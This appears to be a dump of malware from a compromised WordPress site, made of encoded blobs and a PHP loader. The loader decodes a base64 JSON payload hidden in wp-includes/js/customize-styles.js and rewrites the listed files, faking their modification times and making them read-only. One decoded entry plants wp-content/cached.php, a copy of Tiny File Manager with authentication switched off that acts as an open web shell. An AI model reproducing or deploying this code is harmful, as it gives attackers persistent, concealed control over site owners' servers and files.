ICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-includes/js/customize-styles.js"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } lUDvuyW3sicGF0aCI6IlwvaG9tZVwvbGFqbWl4eFwvYXBwc1wvbGFqbWl4eFwvd3AtY29udGVudFwvY2FjaGVkLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg